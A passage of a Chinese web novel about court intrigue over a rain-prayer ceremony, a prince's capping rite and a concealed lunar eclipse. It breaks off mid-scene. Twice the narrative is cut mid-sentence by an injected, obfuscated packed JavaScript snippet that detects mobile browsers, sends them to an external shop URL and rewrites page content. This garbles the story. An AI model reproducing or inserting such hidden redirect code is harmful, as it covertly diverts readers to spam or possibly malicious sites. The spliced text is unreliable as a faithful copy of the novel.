向来清冷的神女,此时长睫微垂,眸中染露,如蝶影拂花梢。 “今日拜会不知是否叨扰。”李昭收回目光,温和笑道,“孤前日得了些新鲜玩意,想来是太史令大人和神女大人的心头好。” 李昭挥挥手,“呈上来。” 幕布被侍从揭开,李昭看着方天司开口,“此乃西域所得的月相星盘,送与方大人。” 精铜打造的圆盘上,刻着黄道十二宫星图,与天禄国沿用的二十八星宿不同。 李昭观察着方天司的神色笑着开口,“伊兰历法听闻是纯阴历,与我朝历法不同。”圆盘翻转,背面刻度精密,“孤虽不知这星盘到底有什么好,教那西域的商贩视若珍宝,但想来送与我朝太史令大人,总归是没错的。” 方天司见到被自己从天禄国历法中削去的太阴历,额头猛跳了一瞬。他抬头看向李昭,却见他目光柔和,看着这星盘就像看着个极为喜爱的稀罕玩意。 方天司难以琢磨太子送此礼的用意,便也只能恭敬答道,“多谢太子殿下,此物确是可交由在下细细琢磨。” “另还有一物,”李昭抬手一扬,不再看方天司而是转向方星曜道,“孤早听闻方小姐酷爱堪舆之术,此乃孤从真修道长处所得。道长曾走遍三山五海,这是他绘制的天禄堪舆图。” 李昭顿了顿,“还有此物,听闻方小姐常熬夜观测星象,此物亦是我从西域寻来的玩意,将这个小盒子置于观天镜前,它可让任何观天镜变得比之前更清晰。” “多谢太子。”这两样东西属实都送到了方星曜的心坎上,但她也仅仅是恪守礼仪地淡淡道谢。 李昭看罢不置可否,只转头朝方天司道,“既如此,那孤便告辞了。” 太子竟真的将方星曜当成了自己未来的太子妃,认为自己必将继承大统?方天司内心嗤笑一声,面上却是不表,只热闹地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309620|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼道,“太子光临舍下,我怎可不尽心招待?不如留下用完膳再走不迟?” “怎好劳烦?”李昭客气笑道,“不过早听闻方大人的梅花园乃京都第一景,也不知现在是否有梅可赏。” “臣最近忙于公务,已是许久未踏足花园了。”方天司道,“不如让星曜带殿下于府中后花园,赏花饮茶罢?” “自是好的。”李昭笑道,“想来之后要连日忙碌,不妨先松快松快罢。” “是,叔父。”方星曜冲方天司点点头,又抬手指向门的方向道,“太子殿下,这边请。” “嗯。”李昭脸上依然挂着温和的笑容,随着方星曜步入花园。 “药效可还好?”仆从皆远远跟在二人身后,李昭开口道。 “太子在我方府有耳目?”方星曜想起方才来给母亲送药的陌生侍女,问道。 “嗯?”李昭转过头,面露困惑,“方才孤在街坊闲逛,遇上了方小姐的侍女在药铺找药,便谴人帮忙熬了送来。” “多谢太子殿下。”方星曜淡淡回道。 初春寒梅已谢,海棠未开,方家的花园,造山景,馥流水,一看便是花费颇巨,又极有文人格调。 太子却看起来兴致寥寥的模样,没走几步便停下对方星曜道,“早就听闻方小姐棋艺惊人,如此散步实在不得意趣,不知在下是否有机会与方小姐谈棋一局?” “太子殿下的棋艺师承简从道人,乃当今棋道第一人。臣能与殿下谈棋,实是在下之幸事。请。”方星曜毫不推辞。 方家花园春景未盛,却因燃着贵香让整个院中都笼罩在淡淡花雪香下。院中石桌上,楸枰已列。李昭的内侍听得方星曜应允,便立刻招人呈上特制的棋子盒,供二人使用。方家则吩咐了六名貌美的侍女近前伺候。 “不如以长生劫定棋局,清谈一盘?”李昭执起黑子问道。 “既如此,便落子可悔,殿下请。”方星曜几乎是瞬间便明白了李昭的意思,他提出以古有盛名的和棋之局谈棋,就意味着这盘棋论的不是输赢,不是技艺,太子想借棋论心。 内侍得言,立刻布出棋局。 李昭双指掐住黑子,他手指修长白如温玉,骨节分明匀直有力,李昭翻转手腕,掌心朝上对方星曜做了一个请的姿势。 方星曜不推辞,也不言语,落下一子。乃是可攻可守,可进可退的布局。 李昭浅笑,在白子侧落下黑子。“据说录下此长生劫的高人在此局之后便归隐,不问世事。他感叹天下之事,群雄争也,不争也,最后皆归于无。既无结果,不如不争,总好过蹉跎山川岁月。” 方星曜拈起白子落下,呈攻势,“山川岁月皆有规律,然而世间事多无常,也许争与不争都无结果,但若万事归于天道规则,不争则一定没有结果。这不过是得道高人不愿入世的托辞罢了。” “也许方小姐说的对,百姓疾苦并非得道高人一人能改,与其无力见生灵受苦,不如选择避世而居,这位道长也并无过错。”李昭执黑子再攻。 “许是高人心力疲尽,然而这并非代表他从无救世之心。世人皆知他归隐,却不知他的归隐是不再理会世事,还是暂且隐于人前,厚积薄发再寻救世之道。”方星曜落子于盘侧,呈远攻之势。 李昭执棋的手一顿,片刻后落于棋盘中部,呈攻守皆宜之局,“于山川星河,方小姐是高人智士,然而天不作美,即便道长愿出山也无力与之抗衡。” 方星曜抬头看了李昭一眼,轻轻开口,“顺应天命规则,亦可逆天改命”,她将最后一颗缺落的白子补上,连出一线生机,“太子殿下,点方。” 李昭轻笑,将黑子落于另一线端,若方星曜吃下自己的黑子,则会失去自己的那片白子,若改为防守则又失去了蚕食黑子的绝佳机会,“方小姐,请。” 方星曜没有迟疑,抬眸一笑,果断吃掉李昭的黑子,“世间事多置之死地而后生,命,可改也。” 李昭心神微动,面色却不改,沉吟片刻后开口道,“神女大人心系苍生,实是我天禄国之幸。” 方星曜没有回应李昭的恭维,“太子殿下的冠礼在祈雨大典之前,日子不宜太近。吉日的挑选却多有讲究,这样一来,本应隆重的冠礼只能从简操办,想来多是会委屈了殿下。” “无妨。”李昭淡淡道,“身为皇子,自当让步于天,让步于民。冠礼不算什么。” “臣女定当竭尽所能,多为殿下祈福。”方星曜道。 “多谢。”李昭的笑意更淡了。 方星曜抬眼看向李昭,眼前的男子年方十七,却有着远超同龄少年的沉稳,他的心思琢磨不透,虽然始终让人有如沐春风般的暖意,却又常常让人感受到一丝平静下的深寒。 这样的太子李昭,于天禄国而言,会是又一个乾帝吗? 方星曜没有答案。 4. 第 4 章 “大人,这是今年的月相预测。”罗奇恭恭敬敬将视差修正过后的月食预测题本呈给方天司。“我们这次,要和往常一样瞒着陛下本月将有月食之事吗?” 方天司接过题本快速扫了一眼问道,“这次月食会出现在一月内?” “是的,大人。我们几人反复测算过。”罗奇肯定道,“最近一次的月食,应当出现在下下个节气——春分。” “宫内的观星师测出月食了吗?”方天司分了一丝目光给罗奇。 “属下可派人前去探查。”罗奇道,“姜道长学艺不精,虽然他之前在日月象和星象的观测上屡屡出错,但也偶有预测极为准确的时候。” “太子冠礼的吉日和祈雨大典的日子呢?方星曜可曾提报给太史司?”方天司再问。 “司天大人的事情我等无权过问。”罗奇无意识地搓了搓手指,试探道,“大人可是有所思量?” “无妨。”方天司将题本递回给罗奇,吩咐道,“暂且压下月内有月食之事,先派人去探姜道士的推算。方星曜那边一有选日的消息便立刻来报我。” “是,大人。”罗奇将题本收回袖中却并不告退,站在原地欲言又止。 “还有何事?”方天司不耐地朝罗奇做了个退下的手势,却还是开口问道。 “回大人。”罗奇闻言立刻展露一个讨好的笑,“去年的月食我们已经瞒报数次,虽然有时因为阴雨天看不出,或借月相不显糊弄,但最近一直没有下雨。如果被百姓和陛下看到月食,怕是……”罗奇顿了顿,“小的就算有九条命,都不够掉脑袋的啊?” “你跟随我多年,不会让你出事的。”方天司再次提手往外甩去,“去吧。” “是,大人。”罗奇得到方天司的保证,立刻收声离开。 “月食……臣道失位,此天象在历朝历代都指向后宫有祸、外戚专政和武将擅权。”方天司沉吟许久,“为何此次月食不能早些?” 方天司懊恼地一掌拍到案边,“若月食能够出现在太子冠礼之前,便可藉此推迟太子冠礼,同时将月食的凶兆推与后宫之主的皇后,并将其寓为太子德薄,不足以代皇帝主持祈雨大典。这样一来,太子加冠和祈雨大典之事,兴许便办不成了。” 但如今月食处于“春分”,而方星曜对于太子冠礼和祈雨大典的择日都未出。 如此一来,若想借月食干扰太子加冠和祈雨大典,只能尽力拖延这两个典仪的时间。 方天司看向案上的加冠礼奏疏,以及三日后筹办太子加冠礼的相关官员集议,心里倒是有了主意。 拖。太子一日不能加冠,祈雨大典就一日不能办。 “祈雨大典不能办!”东宫中,顾明站在李昭面前,焦急不已,“殿下,你为何不告诉我会有这样的后果?” “哦?”李昭卧在软榻上,闲适地端起浓茶喝了一口道,“有何后果?”李昭轻嗤一声,“为父皇代为主持祈雨大典,祈雨失败,承受太子失德的罪名?” “左相也知道?”顾明见李昭不以为意的样子,忽然反应过来。他语气更急,甚至带上了一点愤懑,“殿下你和左相都知道?独独瞒着我?” “嗯,不是瞒着你。”李昭好笑地看着顾明,敷衍道。 “殿下!”顾明把李昭的反应一看,还有什么不明白的?“这是自伤一万的法子!一旦祈雨不成,别说听政了,陛下还会降罪与你。” “这万万不可!”顾明急得在李昭面前转着圈地踱来踱去。 “好了。”李昭见顾明一副恨不得去一头磕死在皇帝面前死谏的样子,也不再打趣,“想要什么得不了的东西,自是要于险中去求。” 李昭从软榻上起身,上前一把固住顾明,“况且,你为何认为,神女提出的祈雨大典就一定求不来雨?” “嗯?”顾明一个能以一敌百的习武之人,被李昭制在原地动弹不得,他疑惑地抬起头发出短促的疑问。 “嗯。”李昭不欲解释,只松开顾明的衣领,在他肩上轻轻拍了两下,“孤自有分寸。” “分寸?”顾明忽然又急起来。 李昭见顾明暴起,赶紧拿起桌上的茶给他塞了一口,“这茶是去年孤生辰时父皇赏给孤的,只有一饼,如今已经没剩多少了。” “咳咳——”顾明本来因为被呛住,想要吐出的茶水又咽了下去,他忍了又忍这浓到发苦的茶,才轻声开口道,“殿下,我知道你着急,但此事……”顾明看到李昭猛然黑沉下去的神色,最后的话终是没有说出口。 “请殿下降罪。”顾明咚的一声在李昭面前跪下,垂头道。 “去盯着太史令府上,”李昭没有理会顾明的请求,只吩咐道,“方天司不愿祈雨大典举办,定会有所动作。” “是,属下告退。”顾明心知自己失言,不敢看李昭,转身便跃出窗外,向太史令府的方向疾行而去。 方家府邸位于天禄国皇都最好的地段,府门前是可容九轨通行,修葺得无比平整的宽敞大道,一旁的子规湖是全皇都达官贵人和平民百姓最爱的赏景之处。 天禄国没有宵禁,即便已是子时,子规湖的桥上依然来来往往地行着许多人,桥上卖小玩意的普通手艺人见了贵人不会回避,反而迎上去问安,兜售自己手里的蝈蝈筐,竹蝴蝶。 湖边也是热闹无比,大人小孩在沿湖而开的灯火通明商铺中笑闹穿梭,即便是偶尔有行人互相撞上,也不会吵闹,反而会行礼与对方表达歉意。 子规湖占据了皇都几乎十之一的面积,是城中最大的水源,而在密集商铺的黄金中段,有一道极深的人工河道蜿蜒着穿过方府的围墙,流入其后花园。湖水在这里被围成一个与大湖的尺寸、形状一模一样的微型子规湖。 “为何子规湖会长这个样子呢?”身着鹅黄轻纱的少女自小湖边站起,她沿着湖边踱步,直到在一个半人高的竹竿前停下,而她的正对面,立着另一个竹竿。 “真讨厌,怎么都算不对。”方思柔扔掉手中浸过桐油的测绳,负气地叉住她的细腰。“姐姐教我的肯定没错,但我为什么总算不对?” 方思柔抓起一旁小石桌上的稿纸,也不管地上扔着的测绳,带着满腔怨愤一路小跑着往别院奔去。 “姐姐。”方思柔压低声音在方星曜的书房门前轻轻唤她,“你在忙吗?” “进来吧。”方星曜将桌案上的材料收好,抬眸看向推开门的少女。 “姐姐你在做什么?”方思柔看着方星曜干净的桌案,好奇得围着桌子打转。 “朝中之事。”方星曜被方思柔小兔子一样的情态逗笑,“测量又失败了?” “是啊,姐姐真是料事如神。”方思柔泄气地一下子歪倒在书案上,“为什么啊!我真的不适合学堪舆吗?” “当然不是。”方星曜一把扶住差点被扫翻的墨台,“小柔年纪还小,需要慢慢来呢。” “我也想成为姐姐这样的天才。”方思柔丝毫没意识到自己差点就变成一只黑兔子,恣意地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309621|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书案上翻了个身,眼睛真诚专注的看着方星曜,“姐姐,我如何才能成为你这样的天才?” 方星曜终于还是没忍住,“噗嗤”一声笑出来,顺手揉了揉方思柔已经被滚乱的头发,又仔细地扶正她歪斜的发簪。“多大的姑娘了,还这么调皮。” “呜,”方思柔假哭一声扑进方星曜怀中,“姐姐你竟然嫌弃我。” “怎么会。”方星曜不善表达情感,只能尽自己的努力安抚。“是不是测表插的位置不对?”方星曜猜测道,“这个很重要,一定要是两个直角才行。” “啊,对!”方思柔忽地从方星曜怀中蹿出来,“姐姐教过的,要直角。” “嗯,”方星曜似笑非笑地看着方思柔。 “没错!”方思柔一拍脑袋,也不管之前自己带过来,想要给方星曜查看的稿纸了,又风风火火跑了出去。 “这孩子。”方星曜起身关好大开的房门,复又回到案前,拿出了太子冠礼日期和祈雨大典的日期测算。 日期奏章的一旁,放着一本方星曜自己推算撰写的本年二十四节气,上面清晰的标记着: “雨水,二月十八日。” “惊蛰,三月五日。” “春分,三月二十日。” 而奏章上,“二月二十八日,太子生辰。”这一条被划掉,另垂列着三个日期: “三月九日,惊蛰,太子冠礼。” “三月二十四日,春分,降雨。” “三月二十四日,春分,月食。” 乾历的节气比正确的节气,晚了四天。 方星曜轻笑,手指抚上奏章上“春分”这个日子,降雨之日与月食之日撞在一起,真是天在助我。 祈雨成功后紧随月食,是太史司的死局。 前是皇帝有德,感动上天,后是天象示警,臣道失位。 若是皇帝本人主持大典,降雨后出现月食,那么便要立刻启动“救月”典仪,皇帝还要下罪己诏。而月食之象便直指皇帝的后宫、外戚、或武将,换句话说,就是直接指向四皇子党。 但如今是太子代替皇帝监仪。太子仅在皇帝一人之下,位处臣极,月食的天象意味着太子“阴侵阳”,光辉盖过皇帝。太子的祈雨之功会被全数抹杀,并被降罪清算。 然而,不论这祈雨大典由谁主持,月食一旦出现,太史司会因为祈雨大典与月食撞期而被全数降罪。 这样的局面对于方星曜而言,是百利无一害的。 可重点是,一旦被皇帝知道祈雨大典与月食撞期,则祈雨大典的定日要么提前,要么延期。 提前,自己求不来雨,立不了功,问不了太史令的罪,无法推动历法改革。 推后,雨已经下了,自己立不了功,更加问不了太史令的罪,彻底失去推动历法改革的理由。 方星曜的手指在案上敲了敲,今日,方天司那边大约已经收到了关于月食的预测题本,虽然按照他们所用的新历,是没办法预测到准确的月食日的。 但,不能赌方天司那边的人,也许有人用旧历算出了准确的月食日期也不一定。 为今之计,是尽快获得皇帝的御旨,确定祈雨大典的日期,且必须与月食在同一天。 这祈雨大典的定日,不能经由任何太史司的人递交给皇帝,只有自己进宫面见皇帝,先行把太子冠礼和祈雨大典的日子定下来,才是最稳妥的。 方星曜换上繁复的司天神女袍,趁着夜色向皇宫走去。 5. 第 5 章 三日后。 东宫殿外,从各处赶来的东宫仆从杂乱趴了一地。 殿中,李昭已换好太子朝服,顾明也早已整理好衣冠,陪同李昭一起,规规整整跪在侍官面前,挺直上身等待接旨。 乾帝的内侍官手捧一尺一寸长的竹简,缓缓展开。 堂中窗明无影,贵香轻晃,只有侍官翻开竹简时编绳带出的窸窣声。 他看也不看跪在地上接旨的太子殿下,只专注盯着乾帝写下的圣旨,一字一顿念道:“制诏御史:” 李昭伏下身子,掌心撑地,态度恭敬有加。他的额头抵住地面,谁也看不清他此刻的神情。 “朕承天序,夙夜战兢,不敢荒宁。太子昭,朕之元子,年十有八,聪明仁孝,德行具备,卜吉加冠。既冠之后,当共承天地,祗奉宗庙,与朕分忧,以安海内。布告天下,使明知朕意。” 待侍官念完,李昭直起身,翻动掌心举高双手道:“儿臣昭,恭聆圣训。儿臣德薄,蒙父皇不弃,必竭诚尽节,为父皇分忧。” 侍官这才看了李昭一眼。这冠礼一定,太子便算是天下认可的下一任储君了,不仅可以上朝听政,更是得置东宫官属,有了自己的势力班底。 只是眼前的太子…… 侍官看着华衣的李昭,只是这面容过于白皙,似是久不外出走动般,看性子总是绵羊般温和,似是从不会对人发怒。 侍官在心里摇了摇头,为了帮皇帝主持可能会得罪天下的祈雨大典而被提前加冠,他还能笑得如此恬然,志于为皇帝分忧?太子真乃愚孝,实不可当大任。侍官思忖道,难怪皇帝中意四皇子,与四皇子比起来,太子确实缺了帝王该有的霸气。 侍官在心内叹口气,暗暗下了决意,看来确是该与武贵妃多走动走了。 李昭仍是低着头等待接旨,没有因为这过于漫长的等待有丝毫不耐的样子。 侍官松开手,乾帝的圣旨跌落在李昭恭敬抬着的掌心,发出极其细微的啪的一声。 李昭的手指随着圣旨落下轻轻动了一下,可他却并未抬头,直到侍官离开,顾明起身来扶。 “殿下,我们筹备的太傅、少傅,门大夫、庶子、洗马、舍人等属官名单,何时呈报给陛下?” 李昭就着顾明的胳膊轻盈站起身,眉心紧皱,伸手便开始解他一尘不染的外袍,“先压下。姜道长方才派人送来消息,方星曜定下的祈雨大典日期当晚有月食。” “什么?”顾明担心侍官并未走远,便压低声音道,“她这是要害您。” “非是特地要害孤。”李昭将解下的外袍扔给顾明,“但确是给孤使了个大绊子。” “那怎么办?”李昭扔袍子的时候没控制力气,顾明整个人被罩住,挣扎了好一会儿才出来,闷闷道,“太子殿下,啊嚏,你这熏衣袍的香,臣下过敏啊,啊嚏——” “那你还抱着作甚?”李昭无语地看着顾明,“还不快唤人来给孤更衣?” “是,是。”顾明一边打着喷嚏一边跑出殿外。 李昭终是扶额,将圣旨随手放在桌案上,再也没去看一眼。对于他来说,这个冒着百般风险求来的提前加冠圣旨,似乎根本不值一提。 三日前。 “太子殿下的冠礼不宜离祈雨大典的日子太近。三月二十日不合适。”主掌宗教礼典的太常文思礼,极力反驳方天司对太子冠礼的日期提议,却被方天司一手按下。 “择吉日,是我太史司的职责。”方天司敲敲手下的“三月二十日”。“你太常有这个占卜吉凶的职能吗?” 方天司这话无可指摘,太常虽然从职能上说掌管着天禄国的宗教礼典等,却因为太史司在天文、历法、堪舆这些理学知识的话语权,而沦为了操办者。 办什么仪典,太史司说了算,定日子,更是太史司推演天象后说了算,而太常在决策的层面几乎成了摆设,无外乎偶尔在礼法里提一些合与不合,皇帝还不一定采纳。 “方大人,文卿并没有越俎代庖的意思。”左相和善道,“你也知道,太常办典也需要时间筹备,两个典仪时间太近,不仅人手不够,还容易忙中出错。”左相将桌案上的茶推得离方天司更近一些,“一旦出错,陛下怪罪下来,太史司的罪责说不好还会比太常更重。” “况且,”左相端起自己面前的茶喝了一口,“日子也不能选太近,”他手指点住“二月二十八日”,“虽说在太子生辰当日选办是个不错的选择,但太子太傅、少傅、门大夫等东宫官署也需要到场,这些都需要时间准备,还要等陛下裁定。” “论来论去,浪费老夫的时间。”右相早已坐的不耐烦,“选个离祈雨大典不远不近的日子不就好了?” “神女占卜的结果是这一月内没有其它吉日。”方天司接住左相的茶喝了一口,淡淡然道。 “没有?”御史大夫郭起世疑惑地点住奏章上的“三月九日”,“这不就是中间日子吗?” “此乃惊蛰之日。”方天司撇了一眼那“三月九日”道。 “惊蛰又怎么了?”右相一贯很烦方天司那老神在在的样子。选个给太子加冠的日子而已,总归最后是要皇帝定夺。这些人却在这里商量来商量去,磨蹭了一整个上午。 现在终于有一个还不错的日子,又说有问题,右相的耐心已经快没有了,只想能尽快回去检查孙儿的功课。“春雷始动,万物复苏。你们太史司不就是喜欢祥瑞的天象?这配太子冠礼不是正好?” “右相有所不知。”方天司早叫家仆盯着方星曜测算出的冠礼和祈雨大典日期,却不想方星曜一准备好日子便直接进宫面见了乾帝。如今皇帝要求他们商议日期已不过是走个过场,但只要还有一点机会,方天司都要竭力将太子冠礼推后,越靠近春分那日的月食越好。 太史司对于月食发生时间的预测通常只有一个范围,而一般又只能在一周前才可以推算出准确的月食时间,那帮蠢货这几年预测的日月食时间已经越来越不准确。近年来,太史司对于月食已大多是补录正确时间了。这些误报、漏报、瞒报的月食,若不是因为大多为偏月食看不分明,皇帝又护着太史司,自己都不知道要被问罪多少次了。 现在方星曜棋高一着,先行面见了皇帝,祈雨大典时间已经定下,留给自己的选择已经不多了。 现在…… 方天司只能尽力拖延太子冠礼,赌月食比太史司的预测早出现,从而让太子不能提前加冠,太子不能代替皇帝举行祈雨大典,这样一来,自己便可再次占据主动,为皇帝献策,取消祈雨大典。 方天司顿了顿,“右相,连你都知道,惊蛰乃一年之中最为祥瑞的一天,那么我请问,”方天司舒出一口气,“太子身为陛下臣子,怎可压过天威?” 左相、右相,齐齐噤声。 “这……”郭起世若有所思,“方大人所虑倒是不无道理。” “陛下驾到。”太史司议事殿外传来高声通报。 “恭迎陛下。”几人齐齐下跪。 通传之人的话音未落,乾帝便已大步走进了殿内。“太史大人多虑了,祈雨大典才是我国之重事,昭儿加冠也是为了我天禄国百姓,怎会有压过天威的说法。” “是,陛下。臣愚昧。”方天司应道。 “定惊蛰之日为太子加冠。”乾帝话毕便转身离开,“着人准备,不得有误。” “就这么定了?”郭起世作为御史大夫,本只是礼节性参与择日的集议,他对于皇帝突然到来,宣布了日期又直接离开,显然有点状况外。 “是,陛下思虑周全。”方天司恭敬向乾帝离去的方向行礼,“惊蛰乃吉日,选于此日为太子加冠,定会国运昌隆,得上天眷顾。” “方大人所言及是。”左相一边符合,一边令人给方天司递上竹简,让他写公文。 “老夫还有事,先走了。”右相见事情定下,感觉颇为解脱,扔下话便脚步生风地出了太史司。 前日 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武相,是决不能动的人。 天禄国农耕连年减产,再加上西部大旱,百姓怨声已很大。若民间再因为月食而对兴兵戈起怨,不仅出兵的决定会被众臣阻拦,征召士兵也会陷入异常艰难的境地。 “陛下,”方星曜觉得乾帝沉默的时间有些过于久了,有些拿不准皇帝的意思,只能试探着开口道,“此次的月食于我天禄国,也未必是坏事。” “何解?”乾帝眼底快速地闪过一丝不悦。 “月食乃日月相争,亦可解读为天威胜过日月。”方星曜缓缓抛出早已准备好的说辞,“若祈雨大典与月食出现在同一天,恰恰可解释为,上天有感陛下天威。若最终成功祈得雨,是陛下天威日盛,连月也要避锋芒。” “若祈雨不成呢?”乾帝眼中,本愈发浓郁的不悦散去。 “便是臣女失职。”方星曜诚挚道,“司天神女乃陛下钦封,佑国佑民是为臣职责之所在,天狗食月,非陛下后宫之责,更非前任司天神女皇后娘娘的错处。” 方星曜弯身向乾帝行礼,“是臣作为这一任司天神女的错。” “神女言重了。”乾帝的沉硬的声音软化了一些,“如今,太子将监仪祈雨大典。大典后出现月食,恐于储君不利,而储君不稳,国将不安。” “臣女有罪,思虑不周。”方星曜将身子压得更弯,却感受到一股前所未有的轻盈,因为皇帝这一问,意味着自己的计策通了,“这样一来,太子殿下难逃罪责,恐需与臣女一同受罚。” “可有保下储君的法子?”乾帝沉默许久,方才问道。 “陛下可选惊蛰之日为太子殿下加冠。”方星曜道,“太子殿下受天之禄加冠,代陛下主持祈雨大典。然而祈雨大典是陛下对天下生民的看顾,天狗食月是天对太子殿下不够诚心的惩罚。月食后,对太子听政之日稍加延后,由陛下亲自领群臣办救月典仪,让太子还天命于陛下真龙,或可解。” 方星曜这话恰恰说到了乾帝的心坎上,“将太子冠礼的选期交给太史司,令各部之首商议吧。祈雨大典的择日,按你的想法办。” “是,陛下。”方星曜领命离开御书房。 此时已是子正,春日寒风扬起她单薄的神女服。 这一幕在乾帝御书房外守着的侍女和侍卫眼中,仿佛是一幅倒影,而方星曜则是那朵在星空中绽放的昙花,在皇宫冷硬的砖石上一路磕绊着。 方星曜环住自己的衣摆,将其一片一片抚下,抬头循着东宫上方的星空望去。 是太子拦下自己越级上报的奏折,又是太子给自己献策祈雨大典。 太子送堪舆图,观天镜是在拉拢,二人的那盘棋,论了心。 而如今,为了推动历法改革走的这一步险招,是否会将羽翼渐丰的储君彻底推到自己的对立面? 6. 第 6 章 乾帝为太子提前加冠和为百姓办祈雨大典的圣旨下完不出一日,便传到了皇都每一个角落和每一个百姓的耳中。 “太好了!太子一向宽和,爱民如子,如今有太子主持祈雨大典,再加上加冠的大喜事,这西部旱灾一定可解啊!” “哟,你倒是心怀天下。”一旁衣料铺子的掌管闻言打趣道。对他来说这两件国事加在一起,对他的生意是大好,他自是高兴。但这个卖烤饼的小摊贩,竟是聊起了朝廷官员才该关注的旱灾,倒也是奇事。“还有心思关心西边的百姓,看来你这饼的生意是真好做勒。” “韩掌柜,你这是饱人不知饿人饥。”大强被人这么说也不恼,憨憨地摸了摸头解释道,“你可是不知,这最好的面粉都是出自西部,今年旱灾,这皇都的面粉价儿,可都涨得厉害着呢。” 大强掰出五个指头,“已经是原来的五倍了!我这饼之前只要摆一个早上的摊儿,家里就能衣食无忧。如今我都是卖上一整天,也只能勉强糊口罢了。” “面粉涨了,你饼也涨价啊。”韩掌柜被噎了一下,收了打趣的心思,“做生意的,”他拿手指点了点大强的太阳穴眼,“这里机灵点。” “嗐——,都是些邻里照顾生意。”大强摇摇头又摆摆手,“不涨了不涨了,大伙都不容易。” “也罢,”韩掌管听完无语了片刻,但还是开口道,“以后每日午时,给我铺子送三十张大饼,做成带肉的。成不?” “成、成。”大强眉开眼笑,我叫丫儿给你送去。 “就这么着吧。”韩掌柜敲定伙计们的午膳,抓了一吊钱给大强,补了一句,“一天一百钱。这些先收着。” “诶、诶。”大强拿着钱连连作揖,“韩掌管你真是大善人。”说完又抬起手掌向皇宫方向跪拜,“我朝有神女庇佑,这旱情必可解!” 离皇都千百里外的天禄国各州县,最迟的也于隔日接到了朝廷的消息:太子加冠,祈雨大典,同时减免全国本季度九之一的赋税,并特许西部三州赋税减免提高到八之一,并允所属州县的赋税延迟一个月上交。 西部罗县,破落简陋的司稼署中,司稼吏刘文攥住方星曜的信和一个个厚抄本,眼泪再次不受控制地落了下来。 信上的字迹疏密有致,透着股冷清: “天为民之天,而非我为民之天。天不由人,然人却自认可掌天。老农之死是为冤,冤在他的死无用。百姓不可再将生的希望寄存在缥缈之间,我亦无法忍受再见到任何一个为了生而去死的人。 新历去阴存阳,不再置闰,谬之大矣。 若依照乾历节气所定“惊蛰”,今年的防虫势必又要延误四日,再加大旱,西部三州的农耕恐将毁于今年。 请大人按信中所附的堪舆图和法子先行带乡民寻找地下水源,或可解一时之困。 此次祈雨大典,成败难料,我的吉凶亦难料。若祈雨失败,便请大人按我依照旧历推算的接下来十年的准确节气,竭尽所能与皇历颁布的节气和指导的农耕日周旋,护一方百姓平安。 另,这些银两,请替我交给这位老农的家人,希望他的孙儿能够好好长大。因我身在皇都多有不便,其余首饰还托大人变卖,用于帮扶乡里,让活不下去的百姓,能多一些活的可能。” 刘文抹去眼泪,将方星曜的信小心藏起,看向司稼署内墙上悬挂的节气预报,上面写着,“三月九日,惊蛰。” 一旁的日历则显示,今日是乾历十八年,二月三十日。 此时,距离太子加冠礼,已只剩十日。而距祈雨大典,还剩二十五日。 左相自方天司那里离开,憋了一肚子气,坐在宽敞的马车中一边喝茶,一边吃点心消弭怒火,满腔愤懑无处发泄。 “左相稍安。”李昭也不知何时出现在马车中。这一句话惊得左相差点噎住。 “太……咳咳……太子殿下?”左相出身世家名门,父亲是乾帝的老师。他现下也不过而立之年,算起来大约是和当今太子的生母——皇后娘娘同岁。 左相在李昭三岁时便被乾帝任命为太子师,他一贯对李昭颇为宠爱,待李昭如自己的亲儿子般,但这宠爱也架不住自己的学生屡教不改地神出鬼没出现在面前。 在朝中一贯威严的左相杜之年,抬手给自己顺了顺气,开口道,“殿下身负宗庙社稷之重……” “一言而为天下法,一行而为万世则。”李昭接话,“老师,孤的耳朵都要起茧子了。” “那也不可.....” “是。”李昭笑道,“学生知错了。” 杜之年极为轻微地瞪了李昭一眼,又摸着去抓小案上的茶壶。李昭轻笑一声,端起茶壶给杜之年斟上,“老师,请用茶。” “为何压下东宫官署的提奏?”杜之年一边小口品着茶,一边问道。 “祈雨大典当日,有月食。”李昭看着杜之年开口。 “姜道长所测可准确?”杜之年也不问李昭是何时收到的月食预测,只是质疑道。 “姜道长乃母后兄长的学生,想来观星之术甚至有可能在方星曜之上。”李昭迟疑片刻,“不知父皇是否知道祈雨大典当日有月食之事。” “冠礼只剩十日,东宫官署的提奏更为紧急。”杜之年也揣测不透乾帝的心思,但太子冠礼必须要东宫官署出席,若官署之事不定,在冠礼那日没有完成定职和出席,那些在太子和四皇子之间摇摆的官员可能会认为乾帝不重视太子,从而倒向四皇子一党。 若朝中最重要的,一直在观望的,代表世家大族的御史大夫——郭起世一党投靠四皇子,那么太子一党的势力将会再也无法和四皇子党抗衡。 但在李昭的眼中,乾帝的态度却更为重要。若父皇知道祈雨大典当日有月食,便代表他很可能并不愿意自己提前听政,那么东宫的官署即便提报,也极有可能被压下。 换句话说,便是报了也白报,徒增父皇猜疑忌惮。 而祈雨大典与月食这一撞,先前为了提前听政的而谋划的加冠礼,不仅无法达成参政的目的,反而会成为阻碍。 但月食这一撞,又对方星曜极为有利,她完全可以借此扳倒方天司,获得太史司更多,甚至完整的权力。 “未曾想,这一任司天神女方星曜,野心如此之大,竟是不顾旱情和民声,也要借天玩弄权术。”李昭眼里出现淡淡的失望,“是孤看错人了。” “方……星……曜……”杜之年在脑中把四大世家的优秀子弟在脑海中全过了一遍,又把御 